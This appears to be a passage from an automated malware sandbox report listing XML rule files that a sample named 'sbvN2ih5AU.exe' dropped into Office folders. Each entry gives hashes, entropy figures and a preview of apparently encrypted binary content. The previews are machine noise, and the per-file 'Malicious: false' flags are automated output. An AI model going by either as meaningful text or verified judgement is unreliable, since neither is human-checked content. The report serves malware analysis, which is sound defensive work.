SHA-512:	139632F4F26FC9EAA6FD6E8B609220EEBF06DB0B0B473C47B0EAB09AB0BFF7483E22B35520B3D8A9C57902B5C8A3789AE15AC2753A6ADCB7D7D7D13CF00B86B5
Malicious:	false
Preview:	<?xml.Q..rn........,q.;$z. M.l....FN!./i.].<.......Fo. .C.r...!a.Y.N3$..Y....dC.-.IV..../..[..8.7.d'...A......]:..s.W.?.@LFTz....UQH.Z......xoEYD....,L.Q..y...h...+...pU.#._........1..L~....G.../.h.Ef.J..9^.......d.........5.b.V..k....sz...2...,.3c.W),.U...}..b..5S>..f+..v.U..Aq.D..+.....U........X....%$..#......Z..x.......xp..Q.....P.].huk...u.....9.................8..+....~h<...Rc.....+EE..x..g..[..x1...kj,@.d:..l...5=_....D...$a..uL..#.[X....#.G.F.Ii...CN..k..s..o...h.."..J.U.G...{..8.y........;b.^.\.&...b..p;..]f.Y^/.>.L..Gi.a.,................h.C.Xu0..1r...G{.h.f'".'..}................\N....!.._..IB..r..]..#t..F.=......'[.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule70037v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.777808773724273
Encrypted:	false
SSDEEP:	12:OZFw5lMFkCbW88hURn5FjLvxiDMdIWLa95tu6sTwHAlLctdBtSUdNcii9a:OZS5CFkgN8h08DMiJ95Xzghcbi2bD
MD5:	0AEA1B69D10F54287EE90AEC546BBA63
SHA1:	C3B170F0987CAE6D838ACF075551877BA375B288
SHA-256:	12BCB404BCCC3863F7646C3C95F47728B5293FF499D7DCDCEB624ED467FC00CD
SHA-512:	760BAFFF282F19A04D3B02CA0A271B4E825E87C6DE54D2071D2C1E1D8B4BB9FB717A24565ABE8E1AB258178DF3CA45A6519F4804F53C89B612599BA86C449401
Malicious:	false
Preview:	<?xml.*.&.].(${.......bV.U.....,'BI\|q..(w......IWN.ue+.o2"...zj.i...`...TW....Ax.y.....\..G......... .....IM:.6i.>...%.....L..B.d..^.H....e..gP..f..)...].VAsG[....f.E..N[#..kE.......1H:....q.m.;h..DET.:f;.I...._!./..Tf!d\l........#C5y...qo....g...=<......}.......!.T....}.=,... ....~.K_}=...~.BZ(;K....%.\|=.~.....9S<.%_S.%.X...C..YU-..`....n.6..b.{y9P.@A...g./.2...W..2.X...p...JSx7)).M......q............Wy.....X..;.t...]/...7.y.4X9XD.o.."....O...~.6...c...[.Y.3.G.\..<.cU....d_.F-g.Rl..y.S.!.[...D.......}j..^.......~D....\.&,..&ZLGHQ.)..<.j.#..H....'.j....".=...T...+...K......9 w...Q.\.....W..l&.T4!._..q..M.Z... .a@%.....2%.......~.d...f/."...w.m.hpg.D$.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.884780785332228
Encrypted:	false
SSDEEP:	48:SI8nWknfO/gBKJvWi+e2aQEgPk69HpJOUlB+HD:KnfO/gBKJvWY26yHpJ7lBw
MD5:	2453EBBB7F99E42D3DB4119A80007290
SHA1:	D5DD14FA9779B07F46FD4612A3DBAAE651DA5F02
SHA-256:	A797BF5F093B2B5E49716A44F0E9D34A55F8D0638A24380E5D4301B3305F9899
SHA-512:	0EB4C720FE4BA0084028773A2AC5B4AA36FABCF090FD9FE43865F67887C54EFBB4423B8A4F97936CECF6D1A31C110641FD4FC9DDA1B3E3D12010757111A47DC6
Malicious:	false
Preview:	<?xml`hiu3'...."S.....m...T.....&......Q-...t..2O5B.;. .2;].cA..qw..{..+.L.....}.y".uc.vp.v7.rJ....I?.......\.<..E...G....~...c.. .\....ui........6W_..:X.6...Z..^.t".c..w.4P.S...:X."z..L[.....f..A...q......I.$....&?4........e('.+..CMd....#..^.v.@....h$.Kn`..e....[[<.........tK..4.Y.,.M5.. ......1.C._.g].... e..x.....@$m.H.rb.2.....s.....y..1.\|%.._.....t"j`Q4..........-......^.h_...R.@........;.J....U.V.\..5.a......k?..l..S..{ .!l ..Q..r...5./O.~....F.5....r.F..n\......#..8..,...V......y}.GXw1:p.\F..W7s.L E..W....D+..;`......u.[;.;t0..M?..>......w$..-.;.l...'.c.\|...i.R/N..w..};...sHU..{.{....f..J.e3..{.g.K..b.RP,\|..#Br.`.c.O4...B'.5.K...qF.....J..}\...D.L..N..3..PNV@%......YY.... ../...h.......Q.t......Z].U=.=}..T..m.Is...6..!.....yAed...q4...)jp.u./....D..`..y..9...]...!.9..nW..(.)..............:.{.y.C...V.:G....e...b.tD6.8.c.....-....P2.4....C+."-2H..........g..6.e..Ei..P....*..L.<...2.D.8..>.c.......B.Dss.Mt..-....p...&....~.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.891790440008931
Encrypted:	false
SSDEEP:	48:gURS2d5hzRoNau2+KxFu8f+OZPrQgztIiDfqND:T1d7zRoQu6xFuG9ZTrtIiW1
MD5:	88CF17E264A7EE73BB2EE28999E1C2F9
SHA1:	D3CB23300DD873BC5462E50D02B0FBEF2BD5F427
SHA-256:	DEA4B4273281D6BD0925BBB009DF6844ED53D61608A2F66B40F1477A0B8534DF
SHA-512:	89E6D93AD2388E1AFC6C84E55F066D9C2BDA32ACD70327486E6ECC0AAA6AFBC42662ED0125EBFD7C4DC903C57548767DDCB96B7511B3D4C3E92AA80FB1AF37DD
Malicious:	false
Preview:	<?xml]^.......V.KZ?+W0j....%..oCs.h~...l..+I.S..Waq7\|l..E.V.c..K6P.?V...O._n......C\|...\|k...g3..6..k#.Y.......'..hn.3...St..'..X.8@.Z...........M.........{...j>4n.?...wk..s>.l..jf.Z.n....A.d.....i......t..B.f....a...t....e..@....>n._..C{..M/..IBdm.'.... .]......>.z..8.....d.g...K.c./....m..jN.~.......Mz.mJ..+.....l!..Y...q..@x....(&;....Y.tI.Kq..s.e..eik.{.B\|._^...O...p&1E.x.n.....#?3.9.oT...P}.....;.Nx5=k..I....&.,J8...PB.6xO...I..!a.{.....2&.g...}...).v.\m...:..n..Wa..L..^.z..ng.Gp..0...=.\...0........xq..[y.V..\.y..Z.....T.....W%#h..-.0...GH.pU\..R....,....@p<.I!.......vt.4.......Pa.....`y...L.t.C.......(-..r...e.......h..`...x.....(..7.X.4..I..7E4.>...X.c...)..(.A...:..y.{...7q..:@........ p.+Y...f..J....O.a.....\....S....-._..l}n.;..xV....x5..f. .:..{.b.0"...#w..D..l...5.'?..&..}..2..E6..6.v.c.....O....qO.....8.'l=...XH.8..+..n...7..2..=1.....%.b.VG..g!..(...h...^.kN.+.].......vZ.......x&f..k..?......n..3b..U.d@E...nQ."S.{\|=0...8

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.874245730846492
Encrypted:	false
SSDEEP:	24:KjSh8/A2l5eYWjdzLwCoDcuejJoUyOk9kF+48uxshqgYCoT7J/SarTwJdX8aZ2bD:BmI2lvWhXw+uejJoRA3VGhgC+TwJ1jyD
MD5:	6465C345E55746B062ED55E4CE12B08A
SHA1:	C1BA2DF69E8C536C8C2216FA9295B7FDA425370F
SHA-256:	F9FB1A2FD43E94E481A4B151622855FB07668013AB9FD3134B7F7A4C083E7339
SHA-512:	855117F25E6E111D0CEB0EF4E47FA9AF377FC8A979665EDAF10F53219C7577245BA05AA6DDC09796220740B3ABC3CD8012552BD6EBA992DBD18A53701582770C
Malicious:	false
Preview:	<?xml..........`....(......D.....T...B'..................t...4!P..s2'Q4x..4.QvS ...3..U...k.[.;K.....h..L....=S.........`.x.F#q.P..O....Y....%.........)R<#y.....Q.^.L.I...#.(+.p`_.X:....r......ag?..1o..[Q.4...X.V\.J.f.w4.M3.W..I.".-...it....U..r...d.W.F.%.2.X..p..>....sz.Q.HY..7~....U....}`...g.[..^..,4P...........96....c9./nP.d.{.1..]\|.4......<t. ...S....e"..)-....8[..".8......R...fh<..;kI.......@R.6..D..@..s}.......Y`.(....f.{.X.$/..=.R.^z...-To..R...~....jn0#...{c.X....`."...u.)].w.._.M~V..a.....O.B...Q.qe.)...7.p..e..xM....j.0RN...>.8KUR%............/.E.'....-. <Y.....B.j......m@....(%...N...F..;...)4.Z..~.....<SZyn/...._y..._......WX....3.$.F. 2.+.KU.!..e......L.wJ.......)-EKT.....<.0.....d.^..._e..\:...*.m...us5......h..7,.vA.%.R.n.a.n<..U.M.GD..P.+#..u\|....._...t..I..o.<:.n.23..'xe.E2.?9...9..b%c.@MIs.4.].I..p.3:.....u.b........:.t......'.....I...t..8....a..;6..:...j..k^!./......-A.k..J....r..m..T....t{.LxSkKi...,TS.>.....T.....7\p..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8832125920091904
Encrypted:	false
SSDEEP:	48:/L5lrNzDxS4KKD5FoZuXNkds+pC9LYffD:/L5/9S4KKHumR+s9LYfL
MD5:	F9701DB84E08EEA390F87BF9E68CD399
SHA1:	64663F020EE5EC50B235AA8660B5CBC51329F8C1
SHA-256:	D1FFB26A9E4977BAA0BCD282E5745745092B5427351E006DD360852F1EDFBD11
SHA-512:	79AA5DAEC6ADDAA6497622509E7A35930C2DAE8DCBF0D34DE171F89DA4357D9894209481DB01F2C5E8F9B6DFCF8A780FC9863CDDA7CF7D1F2E0638E2AF708380
Malicious:	false
Preview:	<?xml.4.....E...n.>....jV......4Tw...].....\|....$..<..E..#.9..{..`.O....`...3p..h..."....&.Fc..(..Xz.....o...Vi.1....XA.a.:.@_L......U2.K..w..PR.t...o..!..7...:xA.....Z..F0.=m..[wy...E.9....]..\|Ag....^..RD....M........\|?..^...\|...\|....Le...Y...J.<....e..\|9....q.^.v..W'..m.k.U\|.yI7..F..WZ..H.+.&.k...O._Q.DOT..[.{.A..c..{......e...!aJ..r..Sd.....h...........;......b5.L].ut..O=w......L....{Du.....yZ..z...Ys.o.$....'uW].n..W.6.;............9.t=.GnLc...g..!....E..X.....0zA3j....F.....:L.5"~...`.?.Cb..u..Y9}..w.wh...t...D.ut...ok.6_.....l....:...'..`.)...d...z....@E..l.Ph.'&..G.V:.2@.K...cM...@...'a.B.'.....7`xg...Z\|..[.!...l.\1..wq...y7kVpW.k.<.RA.K.N%...JG..\|h.`?W.0..)../....i..M....~G..G..DL.J..Vsu>..G.0l..:.J...mZ...e... .h.......y...R...M.....H.k.(..... ...h....".8..]H$..{..W..CE......o..N1..\..3.c@..../..l..-b.m.D.J...b#*Ny~=0T..w7......YQ...5B..P...an........X..SL....e...m.].@.]d....Mg.).LD.]h.djS...(.I.....8&v. ........9...{.t.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	321907
Entropy (8bit):	6.627244495344658
Encrypted:	false
SSDEEP:	3072:seytpIv3/ZqZc7X6pXzaYTLhEfRu64xbOZlWcNt2/ePR/jxgeC:vyiPkZc7X6pXzfCEdxbOZlWc2/e1zC
MD5:	508E47C6A2A51136B8D998015DDF96D1
SHA1:	C28D698603880FBD47508490B5313A7C6D7FA99C
SHA-256:	C1F797F18D0CF6123CD8BD4CFF7455CAB1FFBF3FA8896C6C0AAAEE6683FF05AA
SHA-512:	4B9B2362DFD2F04666B7B7D43733E76DFC5B148F09F541E8312E12F1D2E3A9A61115CD15DD8F8A62A9492C586B7552E95ED961C6651E639B4688229019215E17
Malicious:	false
Preview:	<Rule. X._.i.^........1.Y..v....L.i.3Y.....F]..>..Sw.C.Q.....Y.r..ii.9.1..k....!Jc._.b...v..F.8.t.@..b..\....Cf......Y.....X.D.T6...<..D...3.:.?.o)\>..k.^...}...M.F...K....`DUx...8A..#...3qL..rE;H...6hW..r....=r.;.k....9.LA.l$....#"..}.8Y.ep..RI~c...e..t...4....wB....6...a.pd..........1.1....o...-!V..h......X...]x..#+!.q.....K..f9..u.(g.b....v........P.a.."...j?.CF^..r.3Jf./.pX6......o../...\|%.M......k..6..Ko..$._.....D.....\K.4..]y..H...G...m..,.t.^..1.]...._..=.e.mH.....=lx}.A.....W..,`.,....k7.x\|.M..42..2.JT...~o...fK.Ch.P.....%.)\...`.....\|...~v.Wq.b...e9..tfc..,..-\..S...S..{'..A..R..2.u.3...8...[.....H0..NN..$hH.:;.T&...0.P?E.....X.-.k...0.~......nzQ...}...\|.0jG..gb;...Pg..-v.B{...,..").....%T..\...=VQ......$..."H...'M\|S...9.:..Y..?K.d....K1.0W!...F.d..@.%...?F.tq...`bk...{..RfEg..)B.N.p].}.a..!..ge!.o...........}x..cN..-.....(H.*v...D.U.........4<...$mQ...I...v^! P5..RcfO. ..KQt..3o....$....eWH....c..Le..{2......E....dgC'..A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701251v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.86901919423808
Encrypted:	false
SSDEEP:	48:BDHoF1xwTWp0+05zwEASTLEstjlzeEYzD:BUsw0yEhIstZze7f
MD5:	91E269E46AC9D5BB83F26D688E62EB9C
SHA1:	E8237B8EAF0252084CDF939A8359E90F8C07C1BB
SHA-256:	4E52F7583E22C282440A4126A80BDE435DFECC83B0CEF51705BF7603975FA2A5
SHA-512:	9413543E8AB68E8AA96B178DD22DE7BE7AC7E67905E456B595690A462D36865D4F0C56ED64DEB9C599798FB22C0A98D19C8265D9ACC88404D9DB07A32E9E464F
Malicious:	false
Preview:	<?xml<.=.W.8G....f,..g.q..cg}.....[.&...c.?"....,.9....D...jhT....................K.5.D..@.p...z....G.\|...\|...ar...A/.aQ*..a..l...R...).$!..rkw.3.9.......-.lJ.mN0.j.O.C.x....7..D..?6...-.R.XS.[.xMu........F0IS=...Z...F.n.h.a......F.B.4.LV.^.......P..'.L.~.y_.Y....}..w..V$..@......hL..aJ.e#.L..].3.......>.R.iCX..{D.........4..-...)......X<....d...+.P/.......Wv.q.?<..y......;...!.9Z..>V^.^0.....< B.`E..pQq.l.......l.Hw.>..t:.i..#...].e.m...$@....i...~}M.'#../...I..8M._...X.}v...,.t...S.9d........-p....&....-S.9..g..)q.rX.._.B.d....K...E.F_.....\|.F..(..!.."..3....r.......rA.\.wX...6L.....}..uE.^.M...ui8.9......h.... .j.].)a....b...w..F.,..h.T.u.I.:...z...Ya.%.+...}....._.Q.D.C....[.H..M..\.U&...)..........D......pk.I.K=..&p.R......S....-~....\x....2\...............lv...q..m.........^..9%.-.M=.5....w...].7(..?pr..an...._E7g-.....(....8.@..%y._\\....M..Q..}d.._tT.F...+4}\.o.........&.G#.h..ck..:..x...b.P.......s...RX.po..S4g...E.4W..-.h

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701300v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.886733420471485
Encrypted:	false
SSDEEP:	48:hCK53rYRplnewvfvyggURMcTvSdTMw43rM838nNZB6D:53ryptvngSMygMBA80NK
MD5:	2351EE7CC14EC9D69C0721787B25B716
SHA1:	1C79EAB09C33087BA55C1126A0F89CAD18AAD19B
SHA-256:	C608E16A2F04961AD4F08D9A2E58E3A67BCA4888EA85CA428DDE16FDB9E71B88
SHA-512:	F00CA75CB524A8F673916177634C46760B8C6DBDADC988074935A77789B9732E952A18A15B5FD4F8C8242D4AECDD96E2B0006F562BE140ACB57EDEED074B46B7
Malicious:	false
Preview:	<?xml..^.29.QM..gf=._Q..8b.....N....R.-D...e......"..!.).<'.....n.@b....%p/....3.zi..b..$.'..Z.c....w.h\/$...C.a5i7....O.J..q.jGZ.#Rt.T.........o^W.aB.t.h...;A...b....fK.....P.2e..+....j..2....b..-.}...=TutL'.d..._.U..Z.......! ..C3.f..g.."'._Q..e.'S.....'B...._.mLQ._..M\.4.%y..".CQ...=..X...e[.h#....W...?u.=/P...r...4.!..d...W.g..sN..o.Se.....U."`5].r.^.~_..E..t...$..R.e.#.T..J_..sw..Q2.^.q.V......M..R..5Z.S;._.Z..O.s..9@...X..c..A.UV.FH..?.G.U...:"B.......{]..t.T...t......-..>.%...d.KD...{1....n.x,.9.48G-.l..\.g.{~.8.D.....-@.-.L....1...C.21c.......n....U.K.....5..Fb..6.{..J..G..c...\|.X.b#.YT.J......e..!..)C.:...Y@.&/..aJ".bbP<`.PW...pj.yt....U...a...o.nV....".aS.$...+.. H..pv.>2.TY..J.P..5.....`^X....98v...~ ...a0........an.............e..f..%.!])VJ....V5...Wn@../.r\9.mg....._.u.....4~.;.oI..}..Q.;...g>.[D./M..:....Y...*.....!.d....p..Y.....`.....b...fp.F...6g.....{)q.&.t7.G.RY'.g...........3..b_...&.2y`.R.f2....C...k...L.b.D.(#....g..}....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701301v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.889826176367593
Encrypted:	false
SSDEEP:	48:XCa0e2Z16APJd7mf45HKfKPE+zRT+gNZfhqD:XhGJdSf45HNnt6gTM
MD5:	D178FCA8134C60634744809C43EE9D58
SHA1:	3750E08BA03A455B01226BEA4F9F4DE8A0B007D7
SHA-256:	3BF285A2C52AE9A37B24FE3E135FE751B9D35090A844D6F40A54775B79DC7373
SHA-512:	9A3E7C86B6B0D91F4E798E68D81181E6F4D72411119DD0FD64E957DAF8284A7916DC3EE66C57EE77CB822C5A61FEF22C0738E46142EA835DD56AA6DDF673FCE1
Malicious:	false
Preview:	<?xml...kJ....H#PF......'.Z.a..."..:@.%..W@.".o].F..',...O.].9...g/......<y.j.....1.5].PhA.;.#A:...c<o.i..6.... @.c..E"..9t..HC%.....)..A..%..Vt..W.....K<[.N(...8.........!.S.6n.e....k.9B..).}..]+aP=.B.2^....;..r...f.v9........d^.b.....O{.a...$x.....t.3(.W\Fr:......y....~.q....F8..AS...........R.UR.D.w.... .]T....)h.l....X..x..J.9....57../....b/.j...{9.....1LT..........b...-......f.].z....!. (...-.A..;...Z...h..l.k0.3.....{.Q..O.d....;..n..A.....I.-2.Z.'}.......'.Q.7...-X....rb,....i..[.3:\|u.c5../...x'..B..tck..X..oZ.z.rf.F.G.&...! =._./..~p.2.....'.y.B.l.6...j.uM._.3.N^.'M6..#...G....R.....PR.G...P..W.....B...;...F...!....z..._.Cb.@b...?.._..h...z.....z....3#.r~Y..j.....&p.Q0J...3V....C..P......c..5..<....Go....-...P.B..D.6.......p....7.m.=Mu.....V.MX....k..:.9..K...l.4..H/...(VPjx...b-...>'.3.;...GR&L$5..Oh0{Q....X..U.W..imOz..6...O~....M..B..C%!...`.wxG)..O..me2...D7.Db....xs"*!..U.'...72...e.2.^...W.g.N.f..r..d....l.+,..r.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701350v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1703
Entropy (8bit):	7.888987469501506
Encrypted:	false
SSDEEP:	48:/Sp7RVLnhALiTEmvMdg92rGixRCGhYEiaxD:+zEaEm5ArGeRCGRie
MD5:	5188E4DA98F36047BCB40E446AD26888
SHA1:	4C17C596823DC5DBB16F912A455AD91A77510F3D
SHA-256:	C9EC8EA111E1868AB819FCE160B94A14DBDFDE3BC44A6D7D0DF8950F0A4792BF
SHA-512:	F1C96A5B0839BB770F25C8DA9575DEE5CCF3B70ABDC370D6515F1E80816FC4B1A5474DAB381629A2FF204B8CF93A1188843EC0050585ED3D646727FF69940C34
Malicious:	false
Preview:	<?xmldnL.c..`..../...DC..7..6...w..u.!'-g..).F.1(}.$H&."D..3.}.$,H;I..2\.....E.L".'..P.......!dL...\|l....JM........Y4.......;".L\LZTDA.{.T..._'.....%......JU.C.../i.<....[Z...\|~......p...X...............:..7w.dS4...Q..&P....E....n.vas.]...#aS... J..c...}..}.....i.u..................te..v..A.`...zy....a+(..k.Z..........<..S.......u2...YT7I.R.....Wf..?F.....=...MG2`\|\G.XoD.;"X.....c...1Qde....bcR..j.....pE}....../........`2.#.G......_....%...f...C........L.._....N_"of..k{..\P.T...OQ.)..^.d.....{..'.H....8.-.5`..!.6......8...P(%.....+T...Cl.....o......'..+.@.A.z....d0!..Do....{.Y.....4D..\|..@.....y%.j.1.2..l.5.\|.;....Hd..X...L...T..Rl..(.au.!._`.#U...9...9.E..&.jN..m.48\|.].w....L..K4:...~....R..]......z.Y....=y...LC+K.p..>...!>.'-..b....~.Gc....o.M..pw..E.TA...?k. ..D.,.W....\%9..9U.Ct.#..u.9..yY.^..!...q..NB....=..M..9..2P.....ZW..wK....m..@`...u._...Uk.......n.9pL.'W!(...^...GTx.P..#&G.......u.'+.!.k...5...vU...{...fL.e.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701351v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.876899708703559
Encrypted:	false
SSDEEP:	48:iMs6za3YCVpYp4ckVYRtcrOGwAroAO1cqEaTKE28CpAD:W6zyYCItryOGwAtaTKEZ
MD5:	3EEA033E03C4FD71BF3178C122F9B69E
SHA1:	AE994232174213DE80536BD07C57432E70AC1B1E
SHA-256:	78895EF0B92AC6DB649977E5DE40AF820685A97409852C32786D5F018ABCD1B7
SHA-512:	D83011B2AC43455E542BC521F6042238989E2B2675FFB3DF2E1AD9CFF9B8EB5436A1AE18146E306C8E78FD931A2B30889619C311F94032D447315B80EBA3AF33
Malicious:	false
Preview:	<?xml.;9...`i/.XE...P...{..IV.6.e.K...1..jN..Nw.O......co.z..4...n.R.\...vJ;..xzm5....>.I.=P.;./br.md...r....B.Q?Y..(..O.-t!....!<..H..7.W.F..%.....#....n.~..q~!.............<.f.W.T..7G..>`E=W.....NW+...v...b....p:\a.'..~..S...E. R2Q.MWB5.8...A...8.\|...s.(z.'..O&Z.....x..:......_d.\|n...k.....], s......~.IA..Ao{.A..C.<s;.r5.Oe2.56.5j:c.I'o...p.[9MD.=..V/]...(..e..bi.Gk.....;..f....W?..ur"..g..3}.6..@..r.....J...U._X.D.e....Ow._#.f............<wj_...t+.,.....P..../. .."..k5..]._.o.Rz....`.r\|.....J.l+F..y<}Gb;......n...'y........"3..Q.~#....&..T..l.....P.P......../i9..c.....6.mg..jl...4..}r.....{../.Ab.w...Z'/.\|....}....#.e%hc.M...GP...%...kT.R0...M...N.xG..j...rSf...^.~....h:&.{.gc..V.=s/......iV .M*./....C..j...o...fA'.&d]{...%..c........v....0......k.#=..VG.V......[.+..............!..+....ix5....j........W...mF.+Q!....x.-.c.YiB...~n..>_.z..~R.qARS#9.09uP.W.d....DQ.f.oM...Tt_V)_N.Y..(.4.......Ea.../.\.G...Y..O._...v.....0.h22q&:p...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701400v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.8943539364108
Encrypted:	false
SSDEEP:	48:nscZ3kaH6vtfnVVJhrV0v1uNCdAPyJepMQ0v5vPD:fZ5H6vxJhOiCdAKJvD
MD5:	DC67FB496391B675457FAD958BA04228
SHA1:	EB2B0E84C048BD872E8C466DCB6DF729F1A1CCFC
SHA-256:	3AF6C635BE0878C96FEE5FE48B34D0DEE077265FDEB41DA0CA5FC691B1978829
SHA-512:	1819FDC3ACD8F431FAABA3DE650DC6117331669705FCBAADD2CBBF9CBA6C4A82A5646D4A3E70A79D9098DFE369B001BA2E8DE5AC9AF2093362E6D50D179C56F2
Malicious:	false
Preview:	<?xmlx(.1..&.N..lX..)]d../..3...<Q.K........#..XH.6......5.u.C.\.)Q.\!F..XZAgL".'$........."...9.(...5.#...p5...^@...6...E...!@........5...)}G......Mc.O...O...B..j%.}\..._...I...;\..ew:NZM..D..6..M. .D.?18F..C...2...,_\..;.9[..7...F.>,[..Tz......kB...C`..zp.......n6x.O]l'Z..r...>.r..=...e..\N.A..~.:R......1.....a..g.......kTH..Q.n..,n.#cL..G.U...O0-\1r.,.N.1.tvH.{..j.q...\....^....!_..v>"...._k.C...6d......I..e.QF...)F....>...V.7U...6o.x../\|Q..,U.-...#...l.2.4YC2C,:bIUM}...$.. U./...fu.Cv;m.(..O7..&YC.. ........>.f.y{v.....kF.w.U..@.<].W....+....;.hc-...S..3.3. n...>..dp.....s.X)..2..2b.....w...d.1.....i....1.kK.&`.....K.j...W.0....../g.._jI......\|....4.b..t.....YE.......u4..N.="r.....:.:.h..e).z..8.h.al.....l!...I.ja.....&.H).......9..J..J.......6......vQ.MV..l*.K.&.\|..)0.I.)..B.....P..TY.lA.Y...D~<.......hr.O.%wGa..ub.....\\|....S....u..2.;....;..j -..).#....u.1.Q.....[Z...i.e....Sp.........AA.5:....Z....q...%.O....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701401v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.888297944648693
Encrypted:	false
SSDEEP:	48:P3F7eNkQuRYvofENBh1CZSq7rPE+fBMvP9Pe6D:PVaiM7h8ZSMBmGS
MD5:	3AE0E11C6B60887D281033616BEAFEE5
SHA1:	B031B4713FA16680AE3A595D35BD2E7D97FB8A2B
SHA-256:	13C13E39720BC35F83CE96AF83848EEBE91F9025D24F55B5769C9D2C0417D2D3
SHA-512:	EF748EEC41B646324186959384046BBFE2F509DF4DEF485469B5A71A54A80AA2CE28F39E32CAD900570E24FD97BDF72935D447BC7AD6079F103AE9964B627016
Malicious:	false
Preview:	<?xml$..!?..C.o.q...B.WF%]H<2...b._...Z...+...C....$.d...+....?a..C..O.AB..x&...`....n.D-.Q`+j.0....\<b..J....;\$.........M=8.........yi..t,y2Y...........D.9uu..YH{_..............d.....c\|=....../CA. .P.\..4.L5.o.0.........8.f.......{.{....!#...9.U..'..*...&.....9...g.X0.O...-u.C."m......3..}...9..n.....i.....+..!L.4u...eJ. .....QN.q..<..je..MT3.8h.PDQ.A....&....t]..:Y]...?.k..g@.....7.....q....6r=....]....s.f.......,QgE...'8....;%b<(.0.vvQ....t.A.^..Pm..H=.$.y..T.G8J\|...9..$9.('uC..C....=..[....\|.6...e'`.>x.o....Ck.....$t.4.r.....=J...@.G.l..).5..].^.#.Sw..._"..C....Ov...r.1...;.H>......P....-.<X..Jw..m,.r..d.........7......... }....=..L.S......F.[6..<1.s......M......KQh..D..o... .,.1.p....1e..(e".....M>.#..b...k;..>... ...?......5......Z.....i.4.....1&lb..k.r^u.X.jW'.~....{...s.1,.v.i.wV...6.RG....\....k... m.....?..O).K+.....+. ...-.I..\|.....]{..W.W..yv..q...V:..#......O...../7g....(LA,.....Vc.o.....G.2O....S......MPK..IqJ..Lt.#.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule701500v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.878042174581901
Encrypted:	false
SSDEEP:	24:lpS/5YrLv6u4dgpsjSiRzFI5ICJUfOyS1rupP+ioIcq2h/nDLkXDUlHJNHSuA2bD:eC5lbQFI5IaQS1SpR8LQXo9JBD
MD5:	B5100AC2487B6D006A6B145015B91892
SHA1:	F95D129672C2639B8C7C48A12E81FE55B412B578
SHA-256:	B4B467D6E3203806C1175A041AAC36B9B38F9E997D54BACED626779EC82F0505
SHA-512:	1A85770028F47CE3E2033DC331AE0F56A8D196A6788EB06CA92C6E4D473B99B1840101D747B14BAEFDB6F25D2F39913297F14485E92CB414B2544D951CCB49DA
Malicious:	false
